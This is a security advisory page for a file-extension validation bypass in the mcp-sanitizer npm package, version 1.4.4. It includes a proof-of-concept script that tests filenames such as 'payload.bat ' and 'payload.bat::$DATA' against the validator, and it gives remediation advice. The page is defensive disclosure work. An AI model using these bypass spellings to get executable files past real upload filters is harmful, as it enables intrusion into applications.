Visit the Wiz Whimzical Shop at AWS re:Invent
Vulnerability DatabaseGHSA-3wgf-gpx8-xj7g

GHSA-3wgf-gpx8-xj7g: 
JavaScript vulnerability analysis and mitigation

Maintainer triage: Thank you, confirmed on 1.4.4, including the discarded allow-list result. The fix checks every :-separated part of the file name with trailing dots and spaces removed, rather than cutting at the first colon, which would have allowed a.txt:b.exe. Fixed in 1.4.5 (#19). CVE requested; thanks again.

Details

The precondition, stated first: only code that calls the exported helpers FilePathValidator.validate(), validateFilePath() or sanitizeFilePath directly is affected. MCPSanitizer.sanitize() with type file_path refuses these paths; the maintainer confirmed it and narrowed the finding in his reply of 22 November 2026: "MCPSanitizer.sanitize() with type: 'file_path' still rejects these paths, because its allowed-extensions list catches them. So the bypass only affects code that calls the exported helpers directly." The published FilePathValidator.validate() in src/sanitizer/validators/file-path.js:236 computes path.extname(normalizedPath) and compares it with its configured extension strings. The blocked-extension branch at src/sanitizer/validators/file-path.js:446-450 fires only on an exact match, and path.extname keeps a trailing space, a trailing dot and an NTFS stream suffix on the name, so .bat , . and .bat::$DATA never reach it. The allowed-list branch at src/sanitizer/validators/file-path.js:455-459 sets isValid = false and a MEDIUM severity for an extension outside allowedExtensions, but its caller returns early only for CRITICAL (src/sanitizer/validators/file-path.js:244-246) and then sets result.isValid = true at src/sanitizer/validators/file-path.js:250, so the computed rejection is discarded. API.md:104-111 documents sanitizeFilePath as rejecting input that is not allowed, README.md:255 repeats it, and the vendor's own test/entry-point-parity.test.js:4-7 states that every payload must get the same verdict from every public entry point. In the measured 1.4.4 package, MCPSanitizer#sanitizeFilePath('payload.bat ') resolves, the module-level sanitizeFilePath('payload.php') returns isValid: true although .php is outside the default allow list, and the same package's sanitize(value, {type: 'file_path'}) blocks both values. The printed check runs against mcp-sanitizer@1.4.4: payload.bat and payload.BAT are refused (critical), payload.bat , payload.bat. and payload.bat::$DATA are returned as valid, an allow list of .txt still accepts payload.php, payload.html and payload.svg, and a sanitizer configured with allowedFileExtensions: ['.txt'] blocks payload.php through sanitize but its sanitizeFilePath resolves it. The Windows name-resolution effect of the three blocked-extension spellings was not measured; only the validator return values were. Measured on 2026-11-18: the printed check ran ten times against the published mcp-sanitizer@1.4.4 package and printed PROOF PASS failures=0 in 10 of 10 runs; the plain payload.bat and payload.BAT controls were refused at critical severity in 10 of 10, the three blocked-extension spellings and the three unlisted extensions came back valid in 10 of 10, and the same package's sanitize(value, {type: 'file_path'}) refused both in 10 of 10.

Proof of Concept

#!/bin/sh
set -eu
[ -d node_modules/mcp-sanitizer ] || npm install mcp-sanitizer@1.4.4 --ignore-scripts --no-audit --no-fund --loglevel=error
node --permission --allow-fs-read='*' - <<'NODE'
// mcp-sanitizer 1.4.4 file-path extension check
const lib = require('mcp-sanitizer');
const { FilePathValidator, validateFilePath, sanitizeFilePath, MCPSanitizer } = lib;
let failures = 0;
function report (name, got, want) {
  const pass = got === want;
  if (!pass) failures++;
  console.log(`CASE ${name} got=${JSON.stringify(got)} want=${JSON.stringify(want)} pass=${pass}`);
}
async function outcome (fn) {
  try { return await fn(); } catch (error) { return 'REJECTED'; }
}
(async () => {
  const s = new MCPSanitizer();
  const v = new FilePathValidator();
  let r = await v.validate('payload.bat');
  report('blocked-control-plain', r.isValid, false);
  report('blocked-control-plain-severity', r.severity, 'critical');
  r = await v.validate('payload.BAT');
  report('blocked-control-case', r.isValid, false);
  r = await v.validate('payload.bat ');
  report('blocked-vector-space', r.isValid, true);
  r = await v.validate('payload.bat.');
  report('blocked-vector-dot', r.isValid, true);
  r = await v.validate('payload.bat::$DATA');
  report('blocked-vector-ads', r.isValid, true);
  r = await v.validate('payload.json');
  report('blocked-control-listed', r.isValid, true);
  report('public-method-control-plain', await outcome(() => s.sanitizeFilePath('payload.bat')), 'REJECTED');
  report('public-method-vector-space', await outcome(() => s.sanitizeFilePath('payload.bat ')), 'payload.bat ');
  report('public-method-vector-dot', await outcome(() => s.sanitizeFilePath('payload.bat.')), 'payload.bat.');
  report('public-method-vector-ads', await outcome(() => s.sanitizeFilePath('payload.bat::$DATA')), 'payload.bat::$DATA');
  report('control-sanitize-space-blocked', s.sanitize('payload.bat ', { type: 'file_path' }).blocked, true);
  r = await v.validate('payload.php');
  report('allowlist-default-php', r.isValid, true);
  const t = new FilePathValidator({ allowedExtensions: ['.txt'] });
  r = await t.validate('payload.txt');
  report('allowlist-control-listed', r.isValid, true);
  r = await t.validate('payload.bat');
  report('allowlist-control-blocked-wins', r.isValid, false);
  for (const name of ['payload.php', 'payload.html', 'payload.svg']) {
    r = await t.validate(name);
    report(`allowlist-vector-${name.split('.').pop()}`, r.isValid, true);
  }
  const strict = new MCPSanitizer({ allowedFileExtensions: ['.txt'] });
  report('allowlist-config-control-sanitize-blocked', strict.sanitize('payload.php', { type: 'file_path' }).blocked, true);
  report('allowlist-config-sanitizeFilePath', await outcome(() => strict.sanitizeFilePath('payload.php')), 'payload.php');
  r = await validateFilePath('payload.bat ');
  report('public-validateFilePath-space', r.isValid, true);
  const modRes = await sanitizeFilePath('payload.php');
  report('public-module-valid', modRes.isValid, true);
  report('public-module-sanitized', modRes.sanitized, 'payload.php');
  report('public-module-warning', modRes.warnings.join(' ').includes('not in the allowed list'), true);
  console.log(`PROOF ${failures === 0 ? 'PASS' : 'FAIL'} failures=${failures}`);
  process.exit(failures === 0 ? 0 : 1);
})();
NODE

Impact

A user who can supply an untrusted filename cannot otherwise get a blocked extension or an unlisted extension past the validator. An application that validates that filename with the documented FilePathValidator or sanitizeFilePath entry point accepts payload.bat , payload.bat. and payload.bat::$DATA even though the same package refuses payload.bat at critical severity. A user who can supply the filename therefore has the application accept a blocked executable extension, and can also have it accept an extension outside its own allow list (the default list is .txt, .json, .csv, .md, .log) with only a medium warning. For the three blocked-extension spellings the filesystem effect depends on Windows name resolution, which was NOT MEASURED: Win32 strips trailing dots and spaces and treats ::$DATA as the unnamed stream, so those names are expected to resolve to payload.bat, but no write or execution was performed. The allow-list facet needs no filesystem behaviour: the validator returns isValid: true for an extension its configured list does not allow.

Remediation

Affected range: 1.4.4, the newest published release. The same src/sanitizer/validators/file-path.js (sha256 b5ac6b68691c309f839c69c3a43c2e624b51e0300c1800aa5720f5d3810c8a0e) is on default branch commit 44b8fbf, and no published release carries a fix. Normalise the candidate extension before the comparison: strip trailing dots and spaces and cut the string at the first colon, then compare it case-insensitively with both lists. Also make validate() return isValid: false when _checkFileExtension returns isValid: false for the allowed-list branch, as that function already computes, or make the allowed-list branch CRITICAL.

Disclosure Notes

Found and measured on 2026-11-18 against the published mcp-sanitizer 1.4.4 package (npm dist-tags.latest); the same file-path validator source (sha256 b5ac6b68691c309f839c69c3a43c2e624b51e0300c1800aa5720f5d3810c8a0e) is on default branch commit 44b8fbf. No public issue, pull request, advisory, OSV record or CVE names this defect: the repository's published advisories, GitHub issue and pull request searches for allowedExtensions (0), blockedExtensions (0), FilePathValidator (1, PR #14 for another class), trailing (2, PRs #16 and #17 for other classes) and extension (0), OSV (GHSA-4mfg-r38w-w8fg and GHSA-7w82-6f9j-v9jp, both different) and NVD (0), all read 2026-11-18. The Windows name-resolution effect of the three blocked-extension spellings was NOT MEASURED; the measured result is the validator return value. AI tools were used to find this issue and to run the reproduction. When you publish this advisory, please request a CVE for it with the Request CVE button on the advisory page. Please credit the report to EZO Labs Security (GitHub user superbot-helper; https://ezolabs.net, tony@ezolabs.net).


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-6x2m-grfc-8m6fHIGH8.8
  • JavaScript logoJavaScript
  • vibe-kanban
NoYesNov 29, 2026
GHSA-4m8h-p24q-xx95HIGH7.5
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesNov 29, 2026
GHSA-9x64-fcmc-xf8xMEDIUM6.5
  • JavaScript logoJavaScript
  • karakeep
NoYesNov 29, 2026
GHSA-3wgf-gpx8-xj7gMEDIUM5.3
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesNov 29, 2026
GHSA-33c3-cpvh-9537LOW3.1
  • JavaScript logoJavaScript
  • @tinyhttp/app
NoYesNov 29, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management